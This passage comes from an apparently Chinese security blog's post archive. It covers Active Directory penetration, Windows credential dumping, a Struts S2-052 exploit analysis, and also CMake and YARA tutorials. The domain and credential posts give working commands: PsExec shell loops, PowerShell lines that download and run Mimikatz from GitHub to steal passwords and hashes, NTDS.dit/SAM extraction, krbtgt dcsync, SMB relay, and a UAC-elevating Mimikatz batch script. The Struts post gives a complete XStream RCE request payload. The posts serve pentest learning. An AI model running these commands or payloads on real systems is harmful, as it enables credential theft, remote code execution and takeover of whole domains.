Admins" /domainnet time /domainipconfig /allnslookup xxxdsquery server查看域控制器net group "Domain controllers"查询所有计算机名称(windows 2003)dsquery computer下面这条查询的时候,域控不会列出net group "Domain Computers" /domain 查找域控1.dsquery server(或者net group “domain controllers” /domain命令)查找到主机名,然后ping一下主机名,得到的ip一般就是域控机器的ip地址了。2.使用nslookup命令 _ldap._tcp.dc._msdcs.domainname3.nltest /dclist:domainname4.cobaltstrike的net dclist直接定位到dc或者使用powershell的powerview 获取域当前的信息5.adfind、ldifde、adexplorer等工具… 常见脚本https://pentestlab.blog/2018/05/28/situational-awareness/搞定域控1.ms14-068 将普通域用户权限提升为域控权限https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-0682.查看哪些主机上存在域管理员的活动会话,找到域管登陆过的机器,进而抓取域管的密码或者哈希。1234567891011121314151617181920212223242526## 批量返回shell@echo offecho check ip addr config file…if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto endecho read and analysis file…for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "PASSWORD" cmd :end## 用指定的用户名和密码去遍历ip.txt中的IP列表,并打印任务列表,将结果输出到result.txt当中,执行完了上述批处理,我们只需要稍作等待,最后去查看result.txt当中是否含有域管理员用户名,即可确定哪些主机上存在域管理员的活动会话@echo offecho check ip addr config file…if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto endecho read and analysis file…for /F "eol=#" %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p "PASSWORD" /v) >>d:\result.txt:endexit PTH哈希传递的工具可参考文章 域渗透——Pass The Hash的实现 PTT-silver ticket 注意这里机器的NTLM 是关键,域sid都是一样的 PTT-golden ticket 域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要拿到了krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket,此类攻击方法被称为票据传递攻击。 获取krbtgt账号ntlm命令是Lsadump::dcsync /user:krbtgt 抓密码或hash 通过powershell抓取某台机器的明文密码或者哈希 1234#抓明文powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1′); Invoke-Mimikatz –DumpCerts#抓哈希powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1′);Get-PassHashes dump域数据库 1234567891011121314151617181920212223242526272829303132333435363738vssadmin Create Shadow /for=C: 创建新的卷影副本成功地创建了 'C:\' 的卷影副本 卷影副本 ID: {ad7dfdec-a8db-4fa3-b2e6-7e1ab1bad2b4} 卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3执行程序:\\.\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\test\psexec.exe1.需要先创建好目录,并放入木马或程序2.再创建新的卷影副本,利用卷影副本卷名来执行程序,并把卷影副本卷名中的 "?" 需要改为 "."号执行程序Copy Files有些系统运行中的文件是不可复制的,比如像SAMcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SAM C:\copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM C:\PowerShell调用方法:Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -ComputerName SERVER -localDestination "C:\temp\SYSTEM"Invoke-NinjaCopy -Path "C:\Windows\NTDS\NTDS.dit" -ComputerName SERVER -localDestination "C:\temp\NTDS.dit"需要文件:https://github.com/clymb3r/PowerShell/tree/master/Invoke-NinjaCopyvssadmin Delete Shadows /shadow={ce51aaf6-5677-4423-86ac-45d064ef626e} /quiet 删除卷影副本vssadmin Delete Shadows /For=C:---reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters 查询NTDS路径获取域数据库Windows\NTDS\ntds.ditWindows\System32\config\SYSTEMWindows\System32\config\SAMNTDSDump导出域数据库hash值:NTDSDump.exe -f ntds.dit -s SYSTEM -h -t john -o save.txt或者:QuarksPwDump.exeQuarksPwDump --dump-hash-domain --with-history 导出本机域控历史hash值 更多 域内信息搜集windows中的Credential Manager的信息获取 Credential Manager,中文翻译为凭据管理器,用来存储凭据(例如网站登录和主机远程连接的用户名密码)。 如果用户选择存储凭据,那么当用户再次使用对应的操作,系统会自动填入凭据,实现自动登录 凭据类别包含两种,分别为Domain Credentials和Generic Credentials。 凭据读取 mimikatz和powershell脚本更多可参考Windows中Credential Manager的信息获取横向渗透横向渗透信息搜集工具SMBSMB共享枚举 SMBMap 123456789101112root@kali:/# smbmap -H [ip] -d [domain] -u [user] -p [password][+] Finding open SMB ports....[+] User SMB session establishd on [ip]...[+] IP: [ip]:445 Name: [ip] Disk Permissions ---- ----------- ADMIN$ NO ACCESS C$ NO ACCESS IPC$ NO ACCESS NETLOGON READ ONLY Replication READ ONLY SYSVOL READ ONLY 使用nmap 1nmap --script smb-enum-shares -p 139,445 [ip] 查看SMB的漏洞1nmap --script smb-vuln* -p 139,445 [ip] trick4 smbrelaypython smbrelayx.py -h 172.24.243.59(被攻击的机器) -e smb_rev.exehttps://github.com/CoreSecurity/impacket/blob/master/examples/smbrelayx.py再谈SMB中继攻击]]></content>
</entry>
<entry>
<title><![CDATA[Cmake VS Autotools]]></title>
<url>%2F2017%2F09%2F28%2FCmakeVSautotools%2F</url>
<content type="text"><![CDATA[前言最近的项目中遇到了cmake和autotools的转换的问题,这两个东西以前接触的很少,所以需要对cmake和autotools进行一番系统学习。 Cmake使用 wiki关于cmake介绍 官方文档 熟悉某种技术的最好最快的方法还是要通过阅读官方文档:P learning-cmake-a-beginner-s-guide/details CMake 入门实战 windows下使用Cmake 语法简单介绍可以把cmake理解为一种简单的语言,它也有着它的语法和变量。它的语法规则很简单1.变量使用${}方式取值2.指令(参数1 参数2 。。。)3.指令是大小写无关的,参数和变量是大小写敏感的,例如set 和SET 作为指令都是可以的,但是建议全部使用大写的指令。4.cmake的语法还是比较灵活且考虑到了各种情况,比如SET(SOURCES_FILES main.c)也可以写成SET(SOURCES_FILES “main.c”),但是假设一个源文件中的文件名是fu nc.c(中间有了空格),这个时候就有必要加上双引号了。5.清理工程,跟经典的autotools系列工具一样,make clean可以对构建结果进行清理。6.内部构建和外部构建。内部构建就是直接在根目录下面构建(会在工程目录下产生很多文件,使工程看起来比较乱),而使用外部构建比如在工程目录下面创建一个build的目录,然后进入build目录下,进行cmake .. 这样生成的文件都在build目录下。推荐是有外部构建,所以一般的构建命令就是进入 build 目录下面,然后 cmake .. make7.注意cmake 是构建项目的过程,是产生Makefile的过程,也就是生成编译指令的过程,这个过程不会包编译的错误。make才是编译和链接的过程,如果你的代码有问题,或者你的编译指令有有问题(比如未包含动态或者静态的lib)这是时候会产生错误。8.ADD_LIBRARY()用来生成动态或者静态链接库的。INCLUDE_DIRECTORY()是用来向工程添加多个特定的头文件搜索路径的,路径之间用空格分开,如果路径中包含了空格,可以使用双引号将它括起来。默认的行为是追加到当前的头文件搜索路径的后面。LINK_DIRECTORIES()添加非标准的共享库搜索路径,TARGET_LINK_LIBRARIES(target library1 library2),这个指令可以用来为target添加需要连接的共享库.测试代码见githubautotools使用 使用autotools生成Makefile学习笔记 autotools入门使用libtool创建库使用libtool创建库其它cmake导致的命令执行问题automake 和 autoconf 使用简明教程Referencehttps://www.youtube.com/watch?v=gYmgbqGfv-8https://stackoverflow.com/questions/7132862/tutorial-for-converting-autotools-to-cmake]]></content>
</entry>
<entry>
<title><![CDATA[windows认证机制以及常见密码获取工具分析]]></title>
<url>%2F2017%2F09%2F20%2Fwindows%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6%E4%BB%A5%E5%8F%8A%E5%B8%B8%E8%A7%81%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96%E5%B7%A5%E5%85%B7%E5%88%86%E6%9E%90%2F</url>
<content type="text"><![CDATA[概述 先来了解一下lsass进程。Local Security Authority Subsystem Service (LSASS) is a process in Microsoft Windows operating systems that is responsible for enforcing the security policy on the system. It verifies users logging on to a Windows computer or server, handles password changes, and creates access tokens.link NTLM KerberosSAM SAM security account manager 账户安全管理。存放位置12%SystemRoot%/system32/config/SAM HKEY_LOCAL_MACHINE\SAM Windows一旦启动 无法读取,但是可以通过读取内存的方法进行读取。 这里有个点就是rid劫持(修改F键中值F5位F4)rid劫持参考LM hash、NTLM hash和NetNTLM 在Windows系统中,比较常见是从系统导出来的NTLM hash,通过Hashcat能够破解出明文密码。 Hashcat支持超过200种高度优化的hash算法,其中和NTLM hash相关的有4个,分别为NetNTLMv1、NetNTLMv1+ESS、NetNTLMv2和NTLM。Hashcat支持的哈希算法:https://hashcat.net/wiki/doku.php?id=example_hashes 自Windows Vista和Windows Server 2008开始,Windows取消LM hash,但某些工具的参数需要填写固定格式LM hash:NT hash,可以将LM hash填0(LM hash可以为任意值),即00000000000000000000000000000000:NT hash NTHash (又称作NTLM),现代操作系统都是用的这种格式密码,我们可以通过dump SAM文件或者使用mimikatz获取到,此外它还存在于域控机器的NTDS文件中。这些哈希值可以用来进行哈希传递攻击。算法是 MD4(UTF-16-LE(password)) NTLM哈希长度为32位。 Net-NTMLv1/v2 是指网络环境下NTLM认证中的哈希,也可使用hashcat进行破解。 Net-NTLM hash在渗透测试中,通常有以下两种利用方法1.使用中间人攻击的方式来获取Net-NTLM hash,常用工具为Responder和Inveigh,方法见How to use responder tool to perform exploitation in windows environment by stealing NTLMv2 hashes.2.通过多种方式强制目标客户端向伪造的服务器发起SMB连接,在伪造的服务器上捕获数据包,获得Net-NTLM hashWindows下的密码hash-NTLM-hash和Net-NTLM-hash介绍How to steal NTLMv2 hashes using file download vulnerability in web applicationCapture NTLM Hashes using PDF (Bad-Pdf) 获取明文密码的几种方式 虽然在内网中可以通过PTH或者PTK就可以进行横向渗透,但是只能通过命令行进行操作,但当你有了明文密码时候就可以可以直接登录web、vpn、远程桌面等。GPP Group Policy Preference,参考mimikatz的lsass mimidumps 首先可以使用ProcDump工具将lsass进程内存dump出来,使用mimikatz也可以直接获取用户明文密码或哈希,但是可能会被杀软给查杀。此外在windows高版本(NT6)上还可以通过任务管理器中的创建存储文件进行lsass进程内存dump。 通过mimikatz导入dump的内存文件,进行解密.WDigest Digest认证最早出现在windows XP中,主要用来HTTP和SASL认证.aspx),它会在本地保存明文密码。在2014年微软打了个补丁用来去禁止保存用户密码,但是很多服务器和PC并没有禁止WDigest。可逆加密 NTLMNTLM协议 NTLM认证是Challenge – Response 模式在使用NTLM协议时,客户端发送用户名到服务器端;服务器生成一个challenge并发送给客户端;客户端使用用户的密码来加密这个challenge,然后发送response到服务器端。如果该账号是一个本机账号,那么服务器使用Security Account Manager来验证用户;如果账号是一个域账号,那么服务器把这个response请求转送到域控制器(DC)上来让域控制器调用组安全策略来做用户认证,然后服务器就可以构建一个安全令牌并建立一个session。kerberos协议 Kerberos认证提供一种服务器和客户端相互认证的机制。Kerberos包含了三个关键组件:Key Distribution Center (KDC),客户端用户,和一个运行所需服务的服务器。KDC是域控制器的一部分,它执行两个任务:认证服务(AS)和票据许可服务(TGS)。当客户端用户登录到网络上时,它会向用户所在域的AS去请求一个“票据请求票据”(TGT)。然后,当客户端想要访问网络上的某个资源的话,它就出示以下东西:TGT,认证码,Server Principal Name(SPN);有了这些东西,客户端就可以从服务所在的域中的TGS获得session票据。使用这个session票据,客户端就可以和网络上的服务进行交流,该服务会验证“认证码”然后创建一个访问令牌给客户端用户,接下来客户端就可以登录上该服务了。 相比kerberos,https可能更为熟悉一点,通过证书和非对称加密的方式,让客户端可以安全的访问服务端,但这仅仅是客户端安全,通过校验,客户端可以保证服务端是安全可靠的,而服务端却无法得知客户端是不是安全可靠的。这也是互联网的一种特性。而kerberos可以支持双向认证,就是说,可以保证客户端访问的服务端是安全可靠的,服务端回复的客户端也是安全可靠的。 klist 命令显示 Kerberos 凭证高速缓存或密钥表的内容。SPN(service principal name) 扫描 Kerberos是一种支持票证身份验证的安全协议。如果客户端计算机身份验证请求包含有效的用户凭据和服务主体名称 (SPN),则 Kerberos 身份验证服务器将授予一个票证以响应该请求。然后,客户端计算机使用该票证来访问网络资源。在内部网络中,SPN扫描通过 查询向域控制器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端、交换机、微软SQL等,并隐藏他们。此外,SPN的识别也是kerberoasting攻击的第一步。Golden Ticket 先假设这么一种情况,原先已拿到的域内所有的账户hash,包括krbtgt这个账户,由于有些原因导致域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务. 在后渗透阶段,攻击者一般会导出golden ticket,当在“丢失”域控权限的时候(比如修改了域管的账号密码但没有修改krbtgt账号密码)就可以通过注入golden ticket的方式再次拿下并控制域控服务器。注:这个时候需要一台域内或者域外机器(域外机器需要配置dns为域控或域内dns服务器),此外由于票据中都是以域名为区分的,所以在利用的时候也应该使用域名,而不能是IP地址。 说到底还是利用了krbtgt的密码不发生改变的特性。Silver Ticket 通过观察Kerberos协议的认证过程不难发现,如果我们获取了Server秘钥Ks(服务器口令散列值),就可以跳过KDC的认证,直接伪造票据和目标Server通信otherAttacking Kerberos.pdf)kerberoastCrackCrack windows Admin Password and Sam FilesThe NTLM Authentication Protocol and Security Support Providermimikatz内存导出 从本地获取密码 自动获取内存密码bat脚本12345678910111213141516@echo off>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"if '%errorlevel%' NEQ '0' (goto UACPrompt) else ( goto gotAdmin ):UACPromptecho Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs""%temp%\getadmin.vbs"exit /B:gotAdminif exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )pushd "%CD%"CD /D "%~dp0"mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt mimikatz skeleton key 这个主要用于域控权限维持。 Skeleton Key被安装在64位的域控服务器上,支持Windows Server2003—Windows Server2012 R2,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,重启后失效。 可以试试你们的域控是不是已经安装这个后门了哦;)视频链接mimikatz 绕过cmd、regedit、taskmgr限制 如果管理员禁用了cmd、regedit、taskmgr的话,可以分别使用misc::cmd、misc::regedit、misc::taskmgr进行绕过。dump sam1234privilege::debugtoken::whoamitoken::elevatelsadump::sam other 建议有时间精力可以读读mimikatz的源码。Reference https://msdn.microsoft.com/en-us/library/windows/desktop/ee663293(v=vs.85).aspx https://msdn.microsoft.com/en-us/library/windows/desktop/aa378749(v=vs.85).aspx https://msdn.microsoft.com/en-us/library/windows/desktop/aa378747(v=vs.85).aspx http://blog.csdn.net/qq_26886929/article/details/53905654 http://blog.csdn.net/wulantian/article/details/42418231 https://github.com/gentilkiwi/mimikatz/wikiUSING MIMIKATZ ALPHA OR GETTING CLEAR TEXT PASSWORDS WITH A MICROSOFT TOOL域渗透——Skeleton Key – 三好学生Kerberos和NTLM – SQL Server连接的那点事]]></content>
</entry>
<entry>
<title><![CDATA[struts-052和struts-053分析]]></title>
<url>%2F2017%2F09%2F17%2Fstruts-052%E5%92%8Cstruts-053%E5%88%86%E6%9E%90%2F</url>
<content type="text"><![CDATA[前言漏洞爆发的那几天有事(主要还是懒)没有及时的跟进漏洞,这两天跟一下漏洞。 s2-052漏洞war包下载官方通告在分析这个漏洞之前,先补补基础知识。了解一下xstream这个包,看一下官方的一句话介绍,XStream is a simple library to serialize objects to XML and back again.就是一个序列化java对象为xml以及将xml反序列化为java对象。我之前分析过json序列化和反序列化时常用的几种方法,今天我也学习一下xml序列化和反序列化的方法,目前来说有两种,一种是XMLDecoder,另外一种是xstream,xstream使用的比较早的多,然后这次的s2-052就是利用的xstream。xstream反序列化的问题由来已久,早在四年前,老外就在defcon中讲述了这个问题link,而且之前jenkins的反序列化漏洞也是和xstream有关。我们可以看到,通过XMLGenerator.generateXML的方法就进行了序列化,而通过XMLGenerator.generateTOfromXML就进行了反序列化。这个XMLGenerator类的代码如下:123456789101112131415161718192021222324252627282930313233343536import com.thoughtworks.xstream.XStream;import com.thoughtworks.xstream.io.xml.DomDriver;public final class XMLGenerator {/* * this class is for generating XML */ /* * initialization of XStream class */ private static XStream xstream = new XStream(new DomDriver()) {{ processAnnotations(Square.class); processAnnotations(Rectangle.class); }}; /* * This class is for generating XML from MODEL class * @param Object * @return String */ public static String generateXML(Object to) { return null == to ? "" : xstream.toXML(to); } /* * Generates the transfer object from the given XML using XStream. * * @param String * @return transfer object */ public static Object generateTOfromXML(String xml) { return xstream.fromXML(xml); } } 这里就用到了XStream。现在我们再来看一下这样的代码1234567891011121314151617181920212223242526272829import com.thoughtworks.xstream.XStream;import com.thoughtworks.xstream.io.xml.DomDriver;public class xstreamPOC { public static void main(String[] args) {// String payload = "<square>"+ // " <size>5</size>"+// "</square> "; String payload = "<string>"+ " hello"+ "</string> "; String inputXML = payload; //Square sq1 = (Square)XMLGenerator.generateTOfromXML(inputXML); //the next code is what the XMLGenerator.generateTOfromXML is doing: XStream xstream = new XStream(new DomDriver()) {{ processAnnotations(Square.class); processAnnotations(Rectangle.class); }}; Square sq1 = (Square)xstream.fromXML(inputXML); System.out.println(String.format("sq1: \n \n%s \n\n", sq1)); }} 从上图可以看到,当我在序列化一个包含有string关键字的xml时候,他会首先产生一个string的类,然后强制转换成Square类。危险就出现在这里了,XStream将创建定义在xml中的对象。那么如果我们换成下面的payload呢123String payload = "<java.lang.ProcessBuilder>"+ " <command>ExecuteMe</command>"+ "</java.lang.ProcessBuilder>"; 可以看到我们就会实例化这个ProcessBuilder这个类。但是呢,目前为止我们还是只能创建对象,并不能invoke它们,所以这个时候就需要动态代理和EventHandle这两个技巧了。看下面这样的代码,1234567891011121314151617181920212223242526272829import java.beans.EventHandler;import java.util.Set;import java.util.TreeSet;public class XStreamPoC { public static void main(String[] args) { Set<Comparable> set = new TreeSet<Comparable>(); set.add("foo"); set.add(EventHandler.create(Comparable.class, new ProcessBuilder("open","/Applications/Calculator.app"), "start")); String setXml = XMLGenerator.generateXML(set); /*String payload = "<java.lang.ProcessBuilder>"+ " <command>ExecuteMe</command>"+ "</java.lang.ProcessBuilder>"; String inputXML = payload; Square sq1 = (Square)XMLGenerator.generateTOfromXML(inputXML); //Object sq1 = XMLGenerator.generateTOfromXML(inputXML); System.out.println(String.format("sq1 value: %s \n\nsq1 class: %s", sq1, sq1.getClass())); */ }} 如上图所示,可以看到当转换发生异常的时候,就会执行start的操作。介于此,我们的payload就可以这么写了。12345678910111213141516171819202122232425262728293031import java.io.IOException;public class PoC_XMLGenerator { public static void main(String[] args) { // TODO Auto-generated method stub String process = "open"; String arguments = "/Applications/Calculator.app"; String payload = "<sorted-set>" + //"<string>foo</string>" + "<dynamic-proxy>" + "<interface>java.lang.Comparable</interface>" + "<handler class=\"java.beans.EventHandler\">" + " <target class=\"java.lang.ProcessBuilder\">" + " <command>" + " <string>" + process + "</string>" + " <string>" + arguments + "</string>" + " </command>" + " </target>" + " <action>start</action>" + "</handler>" + "</dynamic-proxy>" + "</sorted-set>"; XMLGenerator.generateTOfromXML(payload); System.out.println("Will not get here"); }} 至此,XStream的利用点分析完了。下面再来看看struts2中的利用。通过官方的一句话公告 A RCE attack is possible when using the Struts REST plugin with XStream handler to deserialise XML requests可以看出问题出在struts rest plugin,这个REST插件struts2-rest-plugin.jar用到了XStreamHandler这个类,这个类对http请求中content-type是application/xml的,会调用XStream进行处理。可以看到,当contenttype为xml的时候的处理类是XStreamHandler。那么我们就可以将恶意代码以xml为载体,通过Content-type为xml的方式,让XStreamHandler去进行序列化,那么这个时候就会触发漏洞。最终payload如下:12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364POST /struts2-rest-showcase/orders/3 HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/xmlContent-Length: 2430<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>open</string> <string>/Applications/Calculator.app</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry></map> 补丁对比补丁代码S2-053 关于s2-053的漏洞问题是安全编码和习惯的问题,而非struts2通杀漏洞。官方通告 较s2-052,s2-053漏洞更简单和直接。小结 我还是喜欢用eclipse分析java漏洞。,还是好像还是idea比较好用啊,只是从eclipse切换过来略蛋疼。切换过来之后,你会发现你的ide好像都要是JetBrains这个公司的了。 基础还是不够牢固,给自己定个小计划,后面有时间把所有的s2漏洞分析一下。总结一下思路。Reference Standard way to serialize and deserialize Objects with XStreamhttp://blog.sodhanalibrary.com/2013/12/standard-way-to-serialize-and.html#.Wb6sFdMjE0o 一步一步的构造payloadhttps://gist.github.com/DinisCruz/8077118#file-1-poping-a-calculator-on-osx-using-xmlgenerator-xstream-based-api-java XStream “Remote Code Execution” exploit on code from “Standard way to serialize and deserialize Objects with XStream” articlehttp://blog.diniscruz.com/2013/12/xstream-remote-code-execution-exploit.html?m=1 Struts2 S2-052 RCE分析与利用https://paper.seebug.org/383/ CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告https://yq.aliyun.com/articles/197926 S2-052漏洞分析及官方缓解措施无效验证http://xxlegend.com/2017/09/06/S2-052%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E5%AE%98%E6%96%B9%E7%BC%93%E8%A7%A3%E6%8E%AA%E6%96%BD%E6%97%A0%E6%95%88%E9%AA%8C%E8%AF%81/ Struts2 S2-052漏洞分析https://www.waitalone.cn/struts2-s2-052.html Struts2-052漏洞分析https://yaofeifly.github.io/2017/09/08/Struts2-052/ Apache Struts2 Remote Code Execution (S2-053)http://reverse-tcp.xyz/2017/09/15/Apache-Struts2-remote-code-execution-(s2-053)/ S2-053 复现分析过程(附POC)https://mp.weixin.qq.com/s/4CiKgVn7Y-hWUKRjgECsuA Struts 2 S2-053漏洞分析(附POC)http://www.freebuf.com/vuls/147735.html 来自McAfee对s2-052的分析https://securingtomorrow.mcafee.com/mcafee-labs/apache-struts-at-rest-analyzing-remote-code-execution-vulnerability-cve-2017-9805/ GCC 合并了我写的代码,从编译器开始解决安全问题。来自嘶吼,作者为吴潍浠http://www.4hou.com/binary/7688.html]]></content>
</entry>
<entry>
<title><![CDATA[yara使用说明]]></title>
<url>%2F2017%2F09%2F06%2Fyara%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E%2F</url>
<content type="text"><![CDATA[简介 yara工具用来帮助安全研究人员鉴别和对恶意软件进行分类的工具。我们可以通过编写规则来进行恶意软件的识别。yara 规则最新规则官方文档V3.6.3规则示例:12345678910111213rule silent_banker : banker{ meta: description = "This is just an example" thread_level = 3 in_the_wild = true strings: $a = {6A 40 68 00 30 00 00 6A 14 8D 91} $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9} $c = "UVODFRYSIHLNWPEJXQZAKCBGMT" condition: $a or $b or $c} 这个就是一个名为rule silent_banker的规则,其中banker是规则的tag字段(可以有多个tag),meta字段是规则的描述信息,strings是规则字段,condition则是条件判断的字段,这个规则的意思就是只要满足了字符串或a或b或c就会命中规则。这里只是一个简单的规则,规则的创建可以使用通配符、大小写非敏感的字符串、正则表达式、特殊的操作符号等其它的特征。通过python使用yarayara语法silent-_banker叫做identifiers,是大小写敏感的且不能超过128个字符,且不能用以下的关键词,因为这些是yara的关键词123456all and any ascii at condition containsentrypoint false filesize fullword for global inimport include int8 int16 int32 int8be int16beint32be matches meta nocase not or ofprivate rule strings them true uint8 uint16uint32 uint8be uint16be uint32be wide 字符串可以是文本字符串也可以是十六进制,ascii类型的使用双引号包裹,十六进制字符串使用大括号包裹。注释语法和c语言相同。 * 三种string;1.文本类型字符串2.十六进制字符串3.正则表达式 十六进制Example12345678rule AlternativesExample1{ strings: $hex_string = { F4 23 ( 62 B4 | 56 ) 45 } condition: $hex_string} validF42362B445或者F4235645 字符串Example默认是敏感的,但是可以通过nocase关键字设置成不敏感的12345678rule CaseInsensitiveTextExample{ strings: $text_string = "foobar" nocase condition: $text_string} 这样Foobar, FOOBAR, and fOoBaR都会被匹配到。 宽字节的匹配一个字符占两个字节 12345678rule WideCharTextExample1{ strings: $wide_string = "Borland" wide condition: $wide_string} fullword关键词rule WideCharTextExample1 1234567{ strings: $fullword_string = "domain" fullword condition: $fullword_string} www.mydomain.com www.my-domain.com www.domain.com 正则表达式使用斜线包裹,而非双引号或者大括号。123456789 rule RegExpExample1{ strings: $re1 = /md5: [0-9a-fA-F]{32}/ $re2 = /state: (on|off)/ condition: $re1 and $re2} 条件判断语句Conditions可以没有特征strings但是不能没有strings字段可以设定特征出现的次数 123456789 rule CountExample{ strings: $a = "dummy1" $b = "dummy2" condition: #a == 6 and #b > 10} 偏移地址offset 123456789rule InExample{ strings: $a = "dummy1" $b = "dummy2" condition: $a in (0..100) and $b in (100..filesize)} 特征a出现在0-0x100偏移且特征b出现在0x100之后。 文件大小12345 rule FileSizeExample{ condition: filesize > 200KB} 这个只能匹配文件,如果是运行着的程序的话,那么将永远不会匹配,因为这个时候filesize没有意义。 特定位置的数据获取PE文件的判断12345678 rule IsPE{ condition: // MZ signature at offset 0 and ... uint16(0) == 0x5A4D and // ... PE signature at offset stored in MZ header at 0x3C uint32(uint32(0x3C)) == 0x00004550} PE文件结构中的前两个字节是DOS签名5A4D,即“MZ”。 特征集合rule OfExample1{strings: $a = "dummy1" $b = "dummy2" $c = "dummy3" condition: 2 of ($a,$b,$c) }满足两个特征即可 引用其他规则 1234567891011121314151617rule Rule1{ strings: $a = "dummy1" condition: $a}rule Rule2{ strings: $a = "dummy2" condition: $a and Rule1} 全局规则 12345global rule SizeLimit{ condition: filesize < 2MB} 规则标签方便对输出的信息进行归类。 123456789rule TagsExample1 : Foo Bar Baz{ ...}rule TagsExample2 : Bar{ ...} Metadata 1234567891011121314rule MetadataExample{ meta: my_identifier_1 = "Some string data" my_identifier_2 = 24 my_identifier_3 = true strings: $my_text_string = "text here" $my_hex_string = { E2 34 A1 C8 23 FB } condition: $my_text_string or $my_hex_string} 模块引用 12345678910import "pe"rule Test{ strings: $a = "some string" condition: $a and pe.entry_point == 0x1000} 文件包含 1include "other.yar" 其它 容易踩坑的点当进程扫描的时候,这时是没有filesize属性的,也就永远不会满足的。此外还有通过文件偏移来判断PE也是不可行的。 webhttps://github.com/Tigzy/yaraeditorReference恶意软件模式匹配利器 – YARAYARA:抗击恶意代码的神兵利器PEScanneryara规则自动生成UNLEASHING YARA – PART 2教你构建自己的yara数据库yarAnalyzeryara简介及API解析两个开源恶意代码的查杀引擎 clamav yarahttp://bruteforcelab.com/yara-a-beginners-guide.htmlhttps://blog.malwarebytes.com/threat-analysis/2013/10/using-yara-to-attribute-malware/https://securityintelligence.com/signature-based-detection-with-yara/]]></content>
</entry>
<entry>
<title><![CDATA[可激活windows和office的KMS服务搭建]]></title>
<url>%2F2017%2F08%2F26%2F%E5%8F%AF%E6%BF%80%E6%B4%BBwindows%E5%92%8Coffice%E7%9A%84KMS%E6%9C%8D%E5%8A%A1%E6%90%AD%E5%BB%BA%2F</url>
